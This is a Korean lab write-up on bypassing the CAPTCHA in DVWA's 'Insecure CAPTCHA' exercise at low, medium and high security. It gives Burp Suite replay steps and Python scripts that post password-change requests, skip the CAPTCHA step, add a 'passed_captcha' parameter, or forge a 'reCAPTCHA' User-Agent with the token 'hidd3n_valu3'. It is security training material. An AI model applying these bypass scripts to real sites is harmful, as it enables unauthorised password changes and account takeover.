Low Level 취약점 찾기
1) Burp Suite > Proxy > Intercept > Intercept is ON
2) 새로운 비밀번호 및 확인 입력
3) 캡챠 버튼 클릭
-> 인증이 진행되지 않고 버프 스위트에 패킷이 잡힘
5) Foward를 클릭 하면 캡챠 인증이 진행
6) 그림 선택 후 Verify -> Foward를 선택하면 인증이 진행됨
-> 인증 신뢰도에 따라 그림 인증이 필요할 수도 필요없을 수도 있음
7) Change를 선택하면 Burp Suite에 패킷이 잡히고
Foward를 클릭하면 CAPTCHA 인증이 성공했다는 메시지가 출력됨
8) Change를 클릭하면 최종적으로 암호 변경이 적용됨
★ 그런데 여기서 Burp Suite를 보면 두번째로 암호 변경 요청을 전송할 때
파라메터 값이 그대로 보이고 추가 인증을 하지 않는 것으로 확인됨
-> 따라서 이 레벨을 공략하기 위해서는 1차 전송이 아닌
2차 전송으로 바로 접근하면 될 것으로 보임
Repeater로 요청 재전송하기
1) Burp Suite > Proxy -> HTTP History에서 2차 전송 패킷 선택
(Host: 서버IP, Method: POST, URL: chaptha/ 인 것)
2) 패킷을 우클릭 후 Send to Repeater 선택
3) Repeater > Request > Pretty로 이동
4) 변경할 암호를 작성
5) Send 버튼 클릭
6) Repeater > Response > Render 메뉴를 선택하면
DVWA 홈페이지의 현재 상황을 보여준다.
정상적으로 암호가 변경되었음이 확인됨.
※ Low Level을 공격하는 파이썬 코드
import requests
import re
from bs4 import BeautifulSoup
# 해킹할 서버의 주소
URL = "http://192.168.5.126/dvwa/vulnerabilities/captcha/"
# 사용자가 서버에 로그인한 세션 정보
cookies = {"PHPSESSID":"7sue1ficvrp2c6g969edj69ne0", "security":"low"}
# 서버로 전송할 파라메터. 변경할 암호를 password_new와 password_conf에 적는다.
data = { 'step' : '2', 'password_new' : 'pass', 'password_conf' : 'pass',
'Change' : 'Change'}
# 작성한 정보를 모아 서버로 전송함. 결과가 res변수에 저장됨.
res = requests.post(URL, data=data, cookies=cookies)
# 결과를 출력
soup = BeautifulSoup(res.text, 'html.parser')
result = soup.pre.get_text()
print(result)
Medium Level에서는 다음과 같은 소스 코드가 추가되었으나
해당 파라메터만 넣어주면 간단히 회피할 수 있음
Burp Suite를 사용할 경우에는 별다른 조치 없이 Low Level과 같은 방법으로 공격이 가능하며,
Python에서는
data = { 'step' : '2', 'password_new' : 'pass', 'password_conf' : 'pass',
'Change' : 'Change', 'passed_captcha' : 'passed_captcha'}
파라메터 변수만 다음과 같이 수정해 주면 패스워드 변경이 성공함
High Level 취약점 찾기
High Level은 step 2가 존재하지 않으며 step 1에서 비밀번호 변경을 요청함
그러므로 Low Level과 Medium Level과 같은 방법으로는 공격할 수 없음
Burp Suite에서 스텝1에서 바로 비밀번호 변경을 요청하며
reCAPTCHA 키 및 토큰 값이 추가되어 있음을 확인할 수 있음
High Level의 소스코드를 분석한 결과 다음과 같은 문구를 발견하였음.
개발자가 테스트용 혹은 복구용으로 reCAPTCHA를 우회하기 위해 만들어 놓은 설정으로 보임
이 설정을 이용하여 reCAPTCHA를 우회할 수 있음.
소스에 설정값 대로 User-Agent 값을 reCAPTCHA로,
g-recaptcha-response 값을 hidd3n_valu3로 바꾸어주면 reCAPTCHA 인증을 통과하고
비밀번호가 변경되는 것을 확인할 수 있음.
※ High Level을 공격하는 파이썬 코드
import requests
import re
from bs4 import BeautifulSoup
# 해킹할 서버의 주소
URL = "http://서버주소/dvwa/vulnerabilities/captcha/"
# 사용자가 서버에 로그인한 세션 정보
cookies = {"PHPSESSID":"세션ID", "security":"high"}
# 서버로 전송할 파라메터. 변경할 암호를 password_new와 password_conf에 적는다.
data = { 'step' : '1', 'password_new' : 'pass', 'password_conf' : 'pass',
'Change' : 'Change', 'g-recaptcha-response' : 'hidd3n_valu3'}
headers = {'User-Agent' : 'reCAPTCHA'}
# 작성한 정보를 모아 서버로 전송함. 결과가 res변수에 저장됨.
res = requests.post(URL, headers=headers, data=data, cookies=cookies)
# 결과를 출력
soup = BeautifulSoup(res.text, 'html.parser')
result = soup.pre.get_text()
print(result)